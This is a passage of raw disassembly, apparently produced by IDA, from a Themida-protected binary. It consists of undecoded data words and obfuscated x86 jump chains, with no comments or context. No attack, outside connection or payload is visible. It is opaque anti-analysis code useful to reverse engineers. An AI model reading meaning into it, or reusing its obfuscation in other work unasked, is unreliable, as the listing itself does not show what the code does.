dd 52000000h, 2BAh, 55EF8100h, 812E9342h, 2A096CC7h, 81D70173h
dd 2A096CEFh, 55C78173h, 5A2E9342h, 31243C33h, 3C33243Ch
dd 4D25C24h, 43E99C24h, 81FFFF68h, 6B4BAFC3h, 81EB0134h
dd 6B4BAFEBh, 60C38134h, 0E92A0145h, 0FFFFBC61h, 405E089h
dd 5000000h, 4, 1559E9h, 0F7F28100h, 8127D476h, 24F6EE2h
dd 7E2C179h, 8B96EA81h, 0D7294553h, 0FFA0E4E9h, 814659FFh
dd 1E47FEEEh, 8BF0011Eh, 0C4832434h, 68565504h, 4E794B06h
dd 0EE814E5Eh, 4E794B01h, 15EF589h, 4875DE8h, 24248B24h
dd 0E9C8AF0Fh, 1BF9h
; ---------------------------------------------------------------------------
loc_4FF548: ; CODE XREF: Themida_:00500D98j
add ebp, 4
xchg ebp, [esp]
pop esp
neg eax
add eax, 2D72EDAh
mov esi, eax
pop eax
add ebp, esi
mov esi, [esp]
add esp, 4
xchg ebp, [esp]
mov esp, [esp]
jmp loc_4FB9A7
; ---------------------------------------------------------------------------
loc_4FF56F: ; CODE XREF: Themida_:005025F7j
mov eax, ebp
jmp loc_4FA278
; ---------------------------------------------------------------------------
dw 148Bh
dd 0D0E5E924h, 665CFFFFh, 9C2424D3h, 0FF9220E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_4FF589: ; CODE XREF: Themida_:004FEC74j
push ebx
jmp loc_4F71A2
; ---------------------------------------------------------------------------
db 53h
dd 0FF9A63E9h, 91BB53FFh, 0C1316D63h, 0BA5204E3h, 61F432E9h
dd 1F36C281h, 79E957EFh
db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FF5AF: ; CODE XREF: Themida_:004F8351j
inc ebx
sub ebx, 0DAC0D87h
jmp loc_4F719B
; ---------------------------------------------------------------------------
db 31h
dd 3CE95AD1h, 31FFFFD0h, 5D04246Ch, 4F2815Ah, 5E0CBB37h
dd 6EB85052h, 0BA506224h, 736F80B9h, 4258C229h, 0FFFFC281h
dd 0D2F7FFFFh, 0B09EF281h, 48E9C0E8h, 8B000011h, 0A1E92404h
dd 0C1FFFF97h, 0EA8105E2h, 63EEC61Bh, 0E95AD709h, 0FFFFEB17h
dd 0D3F1EE81h, 0F501707Eh, 2555E95Eh, 3DB00000h, 52E9C120h
dd 87FFFFE1h, 248B242Ch, 242C8924h, 0BF575D54h, 4, 525FFD01h
dd 0FFAFD9E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_4FF63D: ; CODE XREF: Themida_:004FCBAEj
push ecx
mov ecx, 4
add eax, ecx
mov ecx, [esp]
add esp, 4
jmp loc_4F6FA9
; ---------------------------------------------------------------------------
dd 592434FFh, 48B5450h, 0F6F7E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FF65E: ; CODE XREF: Themida_:004FB326j
add esi, 4
add esi, 4
jmp loc_4FB6D8
; ---------------------------------------------------------------------------
loc_4FF66F: ; CODE XREF: Themida_:004FED64j
pop cx
xor dl, bh
pop ebx
xor al, dl
mov edx, [esp]
push 5FF2h
jmp loc_4FC733
; ---------------------------------------------------------------------------
db 87h
dd 0F0E92434h, 81FFFF76h, 670192CBh, 89EB8126h, 0C1213F27h
dd 0C38103EBh, 0FE49F77Eh, 0E95BDF01h, 0FFFF6D01h
; ---------------------------------------------------------------------------
loc_4FF6A8: ; CODE XREF: Themida_:00500F82j
mov eax, [esp]
add esp, 4
add esp, 4
xor eax, 1FF12867h
push 712Bh
mov [esp], edx
push edi
jmp loc_4F8EE5
; ---------------------------------------------------------------------------
loc_4FF6C7: ; CODE XREF: Themida_:004FCB9Cj
mov ecx, esi
pop esi
sub esp, 4
mov [esp], ecx
push dword ptr [esp]
jmp loc_4F879D
; ---------------------------------------------------------------------------
loc_4FF6DB: ; CODE XREF: Themida_:004FBF2Bj
pop edx
add ah, 60h
not ah
xor ah, 0C7h
sub bl, ah
jmp loc_4FE0D3
; ---------------------------------------------------------------------------
loc_4FF6EB: ; CODE XREF: Themida_:00501E62j
not edx
xchg edx, [esp]
mov eax, [esp]
push ecx
jmp loc_4FB939
; ---------------------------------------------------------------------------
loc_4FF6F9: ; CODE XREF: Themida_:004FD7A8j
shr eax, 7
inc eax
push ebx
mov ebx, 0CB7866E6h
jmp loc_4F75CD
; ---------------------------------------------------------------------------
dd 4A6EB951h, 4149595Ah, 7CD9E181h, 0E9C1561Fh, 0A7D7E908h
dd 489FFFFh, 4B824h, 53520000h, 0B574C3BBh, 81DBF723h
dd 909BB0F3h, 5BDA89A1h, 0FF893DE9h, 2EB81FFh, 87000000h
dd 665C241Ch, 66240C89h, 66C8B60Fh, 0BBE99C51h, 81FFFF65h
dd 4B1E9EEBh, 9CB85019h, 401DA66Dh, 0FFE3D2E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_4FF769: ; CODE XREF: Themida_:004FB2CEj
push edx
jmp loc_4FE3BF
; ---------------------------------------------------------------------------
loc_4FF76F: ; CODE XREF: Themida_:004FDD2Cj
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
pop esp
push edi
mov edi, esp
add edi, 4
jmp loc_4FF1C1
; ---------------------------------------------------------------------------
db 50h
dd 7BE9D888h, 1FFFFCCh, 0BD5559C8h, 1F1835E1h, 0B1E6E952h
dd 0F741FFFFh, 59E957D9h, 21FFFF75h, 0EA8159CAh, 5D242BF4h
dd 0FF8B70E9h, 4EC83FFh, 0E9241C89h, 0FFFF9F59h
; ---------------------------------------------------------------------------
loc_4FF7C0: ; CODE XREF: Themida_:004FBE32j
pop esi
push 7391h
mov [esp], ebx
mov ebx, 4
add eax, ebx
jmp loc_4FE626
; ---------------------------------------------------------------------------
loc_4FF7D5: ; CODE XREF: Themida_:004F7505j
xor [esp], ebp
jmp loc_4F7388
; ---------------------------------------------------------------------------
loc_4FF7DD: ; CODE XREF: Themida_:004F88FBj
push esi
push ecx
pop esi
pop ecx
or esi, 242B7Eh
xor esi, 0AC75F9FEh
mov edx, esi
mov esi, [esp]
add esp, 4
and eax, edx
mov edx, [esp]
sub esp, 4
jmp loc_4FF9D1
; ---------------------------------------------------------------------------
db 81h, 0E7h, 5Bh
dd 0E96BD404h, 0FFFF9081h, 8104C483h, 4ECh, 241C8900h
dd 2E87E9h, 9A685600h, 5E09AF61h, 0FF735EE9h, 0C8B66FFh
dd 0EBC7E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FF836: ; CODE XREF: Themida_:00500DF5j
push ecx
mov ecx, 31BA70E1h
jmp loc_5014AE
; ---------------------------------------------------------------------------
db 66h, 89h, 4
dd 64C8E924h, 0EE83FFFFh, 95BAE904h, 8B66FFFFh, 0E9532404h
dd 0FFFFE32Dh, 81E38953h, 4C3h, 2BE5600h, 1000000h, 1C875EF3h
dd 0D0005C24h, 0FFE10CE9h, 0F8E958FFh
db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FF87F: ; CODE XREF: Themida_:004FCBCAj
mov [esp], ebx
push esi
push 193E3881h
pop esi
not esi
neg esi
and esi, 806072Bh
sub esi, 805FFFEh
mov ebx, esi
pop esi
sub eax, ebx
pop ebx
jmp loc_500745
; ---------------------------------------------------------------------------
aXs db 'XéÓ"',0
align 2
dw 585Fh
dd 0D7F7E7D1h, 9610EF81h, 0FE0194B9h, 0FFBD555Fh, 0E9FFFFFFh
dd 0FFFFD41Ch, 5866C300h, 0FFDCC3E9h, 242C8BFFh, 0E904C483h
dd 2709h, 58241C31h, 2474FF50h, 7C41E904h, 0CFBBFFFFh
dd 8106CB69h, 0D62E12EBh, 5BD989ABh, 695DEE81h, 0CDE9043Eh
dd 81FFFF68h, 0D59D6AEFh, 0ABF5E96Dh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FF90A: ; CODE XREF: Themida_:004FAD2Bj
sub esi, ebx
pop ebx
mov edx, esi
jmp loc_500C9D
; ---------------------------------------------------------------------------
aPhP db 'PhêpÇ',0
dw 5658h
dd 545648BEh, 0CEC4E934h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FF926: ; CODE XREF: Themida_:004F7CE7j
and ecx, esi
push dword ptr [esp]
pop esi
add esp, 4
shr ecx, 7
push dword ptr [edi+1Ch]
jmp loc_50069C
; ---------------------------------------------------------------------------
loc_4FF93A: ; CODE XREF: Themida_:004F73BBj
sub esp, 4
mov [esp], ecx
mov ecx, 0ABB2664h
xor ecx, 4BDB2AA2h
shr ecx, 4
shl ecx, 4
sub ecx, 3256947Dh
sub eax, ecx
mov ecx, [esp]
jmp loc_4FEF06
; ---------------------------------------------------------------------------
db 81h, 0C4h, 4
dd 0E9000000h, 0FFFFC6B3h, 8B1C77FFh, 89502404h, 405E0h
dd 0B1E90000h, 0C0FFFFC5h, 0C1FE02E1h, 2414F651h, 0F8C98059h
dd 0FFC3C8E9h, 0F2F781FFh, 554CB30Ch, 6544BCBDh, 172AE932h
dd 88590000h, 8B01877Ch, 52E9241Ch, 66FFFF82h, 9C240401h
dd 0FF6359E9h, 0B4B951FFh, 0E9040956h, 0FFFF77AEh, 6647742Dh
dd 58C229F0h, 19DBE9h
db 0
; ---------------------------------------------------------------------------
loc_4FF9D1: ; CODE XREF: Themida_:004FF800j
mov [esp], ebx
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_4F9061
; ---------------------------------------------------------------------------
db 0E9h
dd 0FFFF6326h, 945CBF57h, 0C2819D21h, 1C1C83h, 0EA81FA29h
dd 1C1C83h, 0FFA5CBE9h, 3BCF68FFh, 34890000h, 53E68924h
dd 4BBh, 0A387E900h, 0CC80FFFFh, 0BE33E95Fh, 48FFFFFh
dd 0F665C24h, 9C2404ABh, 1066E9h
db 0
; ---------------------------------------------------------------------------
loc_4FFA31: ; CODE XREF: Themida_:004F9870j
pop ecx
jmp loc_4FBB07
; ---------------------------------------------------------------------------
db 0FFh
dd 815A2434h, 4C4h, 8CF6E900h, 8B66FFFFh, 5452240Ch, 6D6E9h
dd 20432C00h, 0B75358C6h, 0FEC7FE8Ch, 0C0CFFECFh, 0CF8003EFh
dd 0B1516662h, 85E9E904h, 0C33FFFFh, 24248B24h, 0B60F66h
dd 1B4F6866h, 24048966h, 0FF628DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_4FFA85: ; CODE XREF: Themida_:004FDBE2j
inc eax
sub eax, 74C561F3h
jmp loc_4FEC85
; ---------------------------------------------------------------------------
dd 0B316E952h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FFA96: ; CODE XREF: Themida_:004F79EEj
sub edi, 0F72B9F7Bh
add ecx, edi
pop edi
add ecx, 4
xchg ecx, [esp]
pop esp
and ebp, 2BAB4348h
jmp loc_4F6215
; ---------------------------------------------------------------------------
db 5Bh, 81h, 0C4h
dd 4, 0FF673FE9h, 5157BDFFh, 0E9560415h, 0FFFF994Bh, 8124148Bh
dd 4C4h, 0D2B85000h, 314FC102h, 17EEE9C2h, 0BE560000h
dd 0CD238FFh, 0E92C681h, 0EEC13EDCh, 50F68103h, 15BE0FCh
dd 0D0FE9F2h, 248B0000h, 43C58124h, 891B388Eh, 0F0315DEEh
dd 5024348Bh, 4055854h, 5000000h, 4, 0E9240487h, 0FFFFA279h
dd 24048B66h, 0C8B5451h, 7BD1E924h, 148BFFFFh, 160E924h
dd 0C4810000h, 4, 0FFA650E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_4FFB41: ; CODE XREF: Themida_:004FD62Ej
xchg ebp, [esp]
pop esp
jmp loc_501CAA
; ---------------------------------------------------------------------------
dw 0D668h
dd 89000022h, 0ADE9240Ch, 0C000000Fh, 0C38006EBh, 0A74E9C9h
dd 0D6BD0000h, 81377332h, 0D866B7CDh, 0C02FE962h, 575CFFFFh
dd 2BFh, 0E9F90100h, 1472h, 33243431h, 535C2434h, 0E9D18851h
dd 0FFFF6CB8h
; ---------------------------------------------------------------------------
loc_4FFB90: ; CODE XREF: Themida_:004F93F4j
mov ebx, 0
sub ebx, 4B0D3BCAh
add ebx, eax
push edi
mov edi, 4B0D3BCAh
add ebx, 19594078h
add ebx, edi
push ebp
mov ebp, 6ABB06B1h
inc ebp
push edi
mov edi, 5161C63Ah
sub ebp, edi
pop edi
sub ebx, ebp
jmp loc_4FDA0C
; ---------------------------------------------------------------------------
dw 0E281h
dd 12AB2B40h, 3698EA81h, 0C28160B6h, 61EE5DA7h, 4B5AD331h
dd 50AFF381h, 0EB811911h, 533FD903h, 0E95BDD01h, 0FFFF95E7h
; ---------------------------------------------------------------------------
loc_4FFBEC: ; CODE XREF: Themida_:005021C8j
add ecx, ebp
mov ebp, [esp]
push ebp
mov ebp, esp
add ebp, 4
jmp loc_4FD326
; ---------------------------------------------------------------------------
db 8Bh
dd 0E9562414h, 195Bh, 0C9F28142h, 68343CEEh, 0CB2h, 0FF86C3E9h
dd 4BFFFh, 0F9290000h, 240C875Fh, 8924248Bh, 0E3E92404h
db 60h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FFC2F: ; CODE XREF: Themida_:004FE62Ej
push esi
jmp loc_4FBE37
; ---------------------------------------------------------------------------
aPG db ' Ú[P´g',0
dd 6EE958E2h, 0FEFFFF67h, 3FC380CBh, 66E9562Ch, 8BFFFFB6h
dd 0FEE92414h, 87FFFFE7h, 575C241Ch, 9C94E953h, 0C33FFFFh
dd 24248B24h, 0C89E951h, 0EA810000h, 37D34332h, 0FFAA53E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_4FFC79: ; CODE XREF: Themida_:004FA755j
add edx, 0BCC0C9FDh
mov edi, edx
push dword ptr [esp]
pop edx
add esp, 4
add eax, edi
pop edi
add eax, 4
jmp loc_4F6263
; ---------------------------------------------------------------------------
dw 0C481h
dd 4, 2A2DD029h, 8B1C1A13h, 89532414h, 4C381E3h, 81000000h
dd 4C3h, 0FF9DE900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FFCBA: ; CODE XREF: Themida_:004F7B4Dj
add ebp, edi
sub ebp, 39CF54EBh
pop edi
jmp loc_50145D
; ---------------------------------------------------------------------------
loc_4FFCC8: ; CODE XREF: Themida_:004FE29Fj
mov esp, [esp]
add [edi+24h], ecx
jmp loc_4FB38F
; ---------------------------------------------------------------------------
loc_4FFCD3: ; CODE XREF: Themida_:004FB96Aj
push edi
push 15002EF3h
pop edi
mov ebp, 0EAFFD10Eh
jmp loc_4FBA39
; ---------------------------------------------------------------------------
dd 5AD50159h, 8704C583h, 815C242Ch, 4ECh, 24048900h, 0D406BCB8h
dd 0A125484Ch, 55271727h, 0FFA5F6E9h, 0C8B66FFh, 4EC8124h
dd 89000000h, 0EFE92414h, 50FFFFA0h, 2A00B568h, 0E0C1584Bh
dd 72C6E908h, 34FFFFFFh, 0FECDE924h, 895CFFFFh, 5D54242Ch
dd 69EAE950h, 0FB25FFFFh, 55021F06h, 9C260768h, 0F5815D02h
dd 6100061Dh, 0FF83E4E9h, 64EA81FFh, 4253C240h, 0E30C281h
dd 5BE9137Ah, 47FFFFFEh, 3C12BB53h, 0E3813877h, 69CC022Ah
dd 676CF381h, 0DF31C8D2h, 11892D5Bh, 0F8292D63h, 63118905h
dd 73685F2Dh, 8900003Ah, 57532414h, 9E220CBFh, 0EA27E96Ah
dd 0E2C1FFFFh, 0C1DAF706h, 0EAC102E2h, 55C28105h, 29016803h
dd 0A362E9D1h, 2489FFFFh, 24048324h, 2434FF04h, 0B5CE9h
dd 1C77FF00h, 6658669Dh, 9C240419h, 0FF5F3DE9h, 48B66FFh
dd 0E7895724h, 4C781h, 0EF810000h, 4, 5C243C87h, 54240489h
dd 0FFD8B8E9h, 2EF868FFh, 21E90000h, 4FFFFCFh, 366866EDh
dd 14896652h, 400B624h, 2CF028F4h, 148B66F4h, 2C48124h
dd 51000000h, 887DB753h, 0E1805BF9h, 6E1C033h, 0FE02E9C0h
dd 0EAE953C9h, 53FFFFE6h, 200BBh, 1C5F0900h, 52241C8Bh
dd 0DD685A54h, 8900005Bh, 0E952242Ch, 0FFFF72A6h
; ---------------------------------------------------------------------------
loc_4FFE50: ; CODE XREF: Themida_:004F7621j
mov esi, 40000h
and eax, esi
mov esi, [esp]
sub esp, 4
jmp loc_4FDFAF
; ---------------------------------------------------------------------------
dw 0E3C1h
dd 57E95106h
db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FFE6B: ; CODE XREF: Themida_:004FAC4Fj
mov edi, 3E981727h
jmp loc_4F9A54
; ---------------------------------------------------------------------------
db 33h, 1Ch, 24h
dd 33241C31h, 248B241Ch, 243C8924h, 0BE565F54h, 8BA223Bh
dd 3FC3BF57h, 11E9327Dh
db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FFE97: ; CODE XREF: Themida_:004F9975j
add ecx, 4
jmp loc_4F9391
; ---------------------------------------------------------------------------
db 0D1h
dd 0B2BD55E2h, 8157B81Eh, 506C4AE5h, 49C58120h, 8116577Eh
dd 0F6B2FDC5h, 5DEA2941h, 0E95AD029h, 0FFFFB9BAh, 89241489h
dd 4C281E2h, 56000000h, 662977BEh, 0DFE68118h, 0C12C7D5Fh
dd 0EAE907E6h, 0E9000022h, 0FFFF5E2Ah, 4304C483h, 0FFE4B2E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_4FFEF1: ; CODE XREF: Themida_:004FF316j
mov [esp], ebx
mov ebx, 0BD0BCEh
jmp loc_5000F4
; ---------------------------------------------------------------------------
dw 8F5Dh
dd 0E95C2404h, 27CFh, 0FF5E05E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_4FFF0D: ; CODE XREF: Themida_:004F9CFEj
mov esi, edx
pop edx
sub esi, edx
pop edx
and ebp, esi
pop esi
push ecx
mov ecx, 497356E9h
add ebp, ecx
pop ecx
mov eax, ebp
mov ebp, [esp]
add esp, 4
jmp loc_502573
; ---------------------------------------------------------------------------
dd 8759CA01h, 248B2414h, 0BC9FE924h, 3431FFFFh, 24343324h
dd 5DCCE95Ch, 0C183FFFFh, 240C8704h, 0FFE890E9h, 240489FFh
dd 69E988B0h, 80FFFF84h, 0EE282EC5h, 0FFDD34E9h, 28AB2CFFh
dd 4AE951D8h, 8BFFFF75h
db 4, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push eax
mov eax, 671201B3h
neg eax
xor eax, 1A3D271Ch
and eax, 5A8C616Bh
shr eax, 4
jmp loc_5007D8
; ---------------------------------------------------------------------------
loc_4FFF8F: ; CODE XREF: Themida_:004FD696j
push dword ptr [esp]
pop eax
push eax
push esp
pop eax
push edi
push edx
jmp loc_4FD0BB
; ---------------------------------------------------------------------------
db 57h, 89h, 0E7h
dd 0FFD218E9h, 0E9B951FFh, 107A615h, 5908244Ch, 4244401h
dd 4246C81h, 7A615E9h, 2434FF58h, 0FF61DDE9h, 0C18159FFh
dd 4, 0FFF254E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_4FFFD1: ; CODE XREF: Themida_:004FA4BDj
push ebx
mov ebx, 9334110h
add [esp+4], ebx
pop ebx
mov esi, [esp]
add esp, 4
sub esi, 9334110h
sub esp, 4
mov [esp], esi
jmp loc_4FD704
; ---------------------------------------------------------------------------
loc_4FFFF6: ; CODE XREF: Themida_:004F62A5j
sub ebp, edx
pop edx
jmp loc_4F7F01
; ---------------------------------------------------------------------------
loc_4FFFFE: ; CODE XREF: Themida_:004FE036j
xchg ebp, [esp]
jmp loc_4FD4ED
; ---------------------------------------------------------------------------
loc_500006: ; CODE XREF: Themida_:005023F4j
pop esp
push dword ptr [edi+eax*4]
sub dword ptr [esp], 2E3D73FAh
pop eax
sub esp, 4
mov [esp], ebx
jmp loc_50264A
; ---------------------------------------------------------------------------
db 0ACh, 66h, 68h
dd 89660DFBh, 0DB22414h, 0FFCC3EE9h, 2B951FFh, 0E9000000h
dd 0FFFF72E7h, 0EA7B9ABEh, 81DEF740h, 7F59BCC6h, 0BAEE8159h
dd 1CAB5D0h, 0E9515EF2h, 0FFFFF12Dh, 63FC68h, 240C8900h
dd 6856E189h, 54Fh, 0B8240489h, 2B3C55BAh, 0CCE95048h
db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_500073: ; CODE XREF: Themida_:004FD9C6j
mov esi, ebp
pop ebp
mov edx, esi
pop esi
mov edi, edx
pop edx
mov ecx, [esp]
add esp, 4
jmp loc_4FDC55
; ---------------------------------------------------------------------------
db 0F6h
dd 37E950DAh, 2DFFFF66h, 1F7752F2h, 50DF0559h, 2CE93AA9h
db 95h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50009F: ; CODE XREF: Themida_:004FC9C5j
or edx, 37E259E4h
push ecx
mov ecx, 383946B8h
or edx, ecx
jmp loc_4FA11E
; ---------------------------------------------------------------------------
dw 0FF50h
dd 0E9042474h, 0FFFF673Dh, 7CE2BB53h, 0DBF77CF3h, 6804E3C1h
dd 30D6h, 0E9242C89h, 1519h, 2DBFEB81h, 0E95A1027h, 144Eh
dd 4C181h, 0C1830000h, 240C8704h, 0E924248Bh, 0FFFF5C1Eh
; ---------------------------------------------------------------------------
loc_5000F4: ; CODE XREF: Themida_:004FFEF9j
sub ebx, 0FB7ECA53h
sub edx, ebx
mov ebx, [esp]
add esp, 4
sub edx, ebx
add edx, 53E417Bh
sub edx, 522C3B1Ch
jmp loc_4F61E3
; ---------------------------------------------------------------------------
loc_500118: ; CODE XREF: Themida_:00500ADAj
mov eax, esp
push ebx
mov ebx, 4
add eax, ebx
jmp loc_4FA38E
; ---------------------------------------------------------------------------
db 5Ah
dd 8E685056h, 0E96EA03Dh, 0FFFF6DCAh, 12A8BF57h, 0FA2944EAh
dd 0C281585Fh, 5F604BAEh, 0EA81EA01h, 5F604BAEh, 39F7EA81h
dd 94E90007h
db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_500157: ; CODE XREF: Themida_:00501B8Dj
xor edx, ecx
jmp loc_4FAA44
; ---------------------------------------------------------------------------
dw 81ACh
dd 4ECh, 0B4FFE900h, 0C781FFFFh, 4, 5C243C87h, 1BE5E9h
dd 37E95900h, 1000004h, 61662DF8h, 1005266Ch, 8B7A817Fh
dd 8957243Ch, 4C781E7h, 81000000h, 4C7h, 243C8700h, 7B46E95Ch
dd 32BDFFFFh, 2D029624h, 4A6D3341h, 4105E829h, 5D4A6D33h
dd 3205F801h, 5F029624h, 0E902C083h, 0FFFFD6AAh, 8BEB295Bh
dd 0C483242Ch, 0E9C30104h, 0FFFF98E7h
; ---------------------------------------------------------------------------
loc_5001D8: ; CODE XREF: Themida_:004F8C06j
mov [esp], esi
mov esi, 5CDA6ED8h
shr esi, 2
jmp loc_4F9B7B
; ---------------------------------------------------------------------------
dd 0DEBD5559h, 0C119A575h, 0D5F708EDh, 0C108EDC1h, 0E0E905EDh
dd 0F6000008h, 0E99C241Ch, 0FFFF5B0Ah, 0E9D02966h, 0FFFF6551h
dd 0BE6BE954h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_500216: ; CODE XREF: Themida_:004F76BFj
mov ebp, 151A4F9Dh
sub ebp, 1EF4321Ah
neg ebp
and ebp, 0F854B5Fh
jmp loc_4FD97A
; ---------------------------------------------------------------------------
dw 0C381h
dd 6B0E6178h, 0EB81F301h, 6B0E6178h, 0F0DC381h, 4BE90CACh
dd 66000019h, 0E9240C89h, 1AB4h, 81D2F742h, 0DECB55EAh
dd 5AD789C6h, 4247C01h, 8B2434FFh, 0C481243Ch, 4, 4C481h
dd 48F0000h, 4BE5624h, 1000000h, 8B042474h, 89532434h
dd 4C381E3h, 81000000h, 4C3h, 241C8700h, 0FF89E4E9h, 59CA29FFh
dd 11D1CA81h, 0B9513A9Eh, 310704B1h, 0E904E1C1h, 13C9h
dd 4C581h, 2C330000h, 870FE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5002BE: ; CODE XREF: Themida_:004FE9D9j
mov [esp], ecx
jmp loc_4FAEE5
; ---------------------------------------------------------------------------
dw 0C781h
dd 2, 2474FF57h, 891BE904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5002D6: ; CODE XREF: Themida_:004FAFA3j
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_4F74CE
; ---------------------------------------------------------------------------
loc_5002E5: ; CODE XREF: Themida_:004F6437j
pop esp
sub esp, 4
mov [esp], edx
mov edx, 542E3127h
or edx, 7F6A77C6h
xchg ebp, edx
jmp loc_4F9389
; ---------------------------------------------------------------------------
db 81h, 0E9h, 4
dd 87000000h, 20E9240Ch, 89000010h, 331D68E6h, 93E90000h
dd 56FFFF8Dh, 0AB412CBEh, 0BED8B833h, 0F001CC54h, 5C6FE95Eh
dd 0BB53FFFFh, 22B87A98h, 0C60FC381h, 0D88927E7h, 0FFB09BE9h
dd 0F7E987FFh, 946BE9D5h, 0E589FFFFh, 4C581h, 0C5810000h
dd 4, 5C242C87h, 3A53EB81h, 0EB8134A5h, 5F78B126h, 0E95BD801h
dd 0FFFFC0FCh
; ---------------------------------------------------------------------------
loc_500370: ; CODE XREF: Themida_:004FDFE6j
not edx
jmp loc_4FE33D
; ---------------------------------------------------------------------------
db 53h
dd 888BB652h, 0D8285AF3h, 81241C8Bh, 4C4h, 66D00000h, 0BCA5E951h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_500392: ; CODE XREF: Themida_:004F7A2Dj
mov ebp, 552F6306h
xor [esp+4], ebp
jmp loc_4FEDAD
; ---------------------------------------------------------------------------
dd 0C107E9C1h, 0E9C103E1h, 0F1BE5608h, 0E9668B16h, 0FFFF7DB1h
dd 0E940478Fh, 0FFFF5956h, 20EF815Ah, 295DE53Dh, 1E71E9EFh
dd 3BB80000h, 5705C263h, 0F989C789h, 97FEE95Fh, 1433FFFFh
dd 0C2E95C24h, 58FFFFE2h, 0D4EB80h, 0D4C380C3h, 0A6268h
dd 240C8900h, 0FFC240E9h, 4EC83FFh, 0BD242C89h, 4, 815DEB89h
dd 0A066DAC5h, 0E9DD0142h, 0FFFFE2F5h, 0E9240489h, 0FFFFA78Ch
dd 5783C381h, 1594D33h, 0EC835BDAh, 71CDE904h, 0E189FFFFh
dd 0FF814BE9h, 0C8B66FFh, 5E545624h, 4C681h, 0EE810000h
dd 4, 31243433h, 34332434h, 0C895C24h, 0C8B5424h, 0E7895724h
dd 4C781h, 0C7830000h, 243C8704h, 4BB535Ch, 81000000h
dd 4F1F5AC1h, 81D90177h, 4F1F5AE9h, 0C1835B77h, 240C8702h
dd 0FF82A6E9h, 56F187FFh, 5E241CF7h, 0A1E9F187h, 0FFFFFFC8h
dd 83592434h, 148904ECh, 148B5424h, 0B969E924h, 0C481FFFFh
dd 4, 0E95A5452h, 0FFFF8CEFh, 5854E95Bh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5004BE: ; CODE XREF: Themida_:004FE800j
pop eax
jmp loc_4F79E1
; ---------------------------------------------------------------------------
dd 6824048Bh, 311Bh, 68242C89h, 2174h, 81242489h, 4ECh
dd 242C8900h, 8341E950h, 0EBC1FFFFh, 0EABE5608h, 8119E473h
dd 6B695FE6h, 0CE814E72h, 7FD33A48h, 13B2EE81h, 0EE811A12h
dd 0A1B1E00h, 0B210C681h, 0F329E2ABh, 0E9D9295Eh, 0FFFFD046h
; ---------------------------------------------------------------------------
loc_500518: ; CODE XREF: Themida_:004FBA8Dj
push edi
mov edi, 0A7425449h
jmp loc_500A3E
; ---------------------------------------------------------------------------
loc_500523: ; CODE XREF: Themida_:004FAF16j
mov esp, [esp]
jmp loc_4FA7AE
; ---------------------------------------------------------------------------
db 0E9h
dd 0FFFF57E2h, 4C681h, 34870000h, 6A0BE924h, 0E320FFFFh
dd 0FFE192E9h, 0E9028FFFh, 0FFFF57C6h, 4EC81h, 0C890000h
dd 4B924h, 27E90000h, 0ADFFFF5Bh, 0FF5A86E9h, 4C181FFh
dd 0E9000000h, 0FFFFF9D6h
; ---------------------------------------------------------------------------
loc_500570: ; CODE XREF: Themida_:004FBFA2j
pop ecx
mov esi, ebp
mov ebp, [esp]
add esp, 4
and ecx, esi
mov esi, [esp]
push ecx
jmp loc_4FAC16
; ---------------------------------------------------------------------------
dd 240C8B66h, 60BF68h, 242C8900h, 242C8B54h, 4C481h, 89570000h
dd 4C781E7h, 81000000h, 4EFh, 0DD64E900h, 248BFFFFh, 0B73E924h
dd 46250000h, 0E968810Dh, 0FFFFC60Fh, 8104C483h, 4C4h
dd 53515200h, 0FFEC6FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5005D1: ; CODE XREF: Themida_:004F76ECj
jmp loc_4F5D12
; ---------------------------------------------------------------------------
dw 0CB80h
dd 0AFC380F1h, 5279EB80h, 0D188DA88h, 0F0E95B5Ah
db 64h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5005EB: ; CODE XREF: Themida_:004FEDD7j
mov ebp, [esp]
push esi
jmp loc_4F7D36
; ---------------------------------------------------------------------------
dd 67C4CF81h, 0BFE95F45h
db 7Dh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5005FF: ; CODE XREF: Themida_:004FD0F8j
sub ebp, 2
xchg ebp, [esp]
pop esp
mov [esp], bx
jmp loc_4FD4FC
; ---------------------------------------------------------------------------
loc_500612: ; CODE XREF: Themida_:00502725j
add edi, 69FC514Dh
push eax
jmp loc_5019DE
; ---------------------------------------------------------------------------
loc_50061E: ; CODE XREF: Themida_:00500FE5j
mov esi, esp
add esi, 4
sub esi, 4
push esi
push dword ptr [esp+4]
mov esi, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
mov [esp], esi
push eax
mov eax, 741D7B11h
mov esi, eax
pop eax
push eax
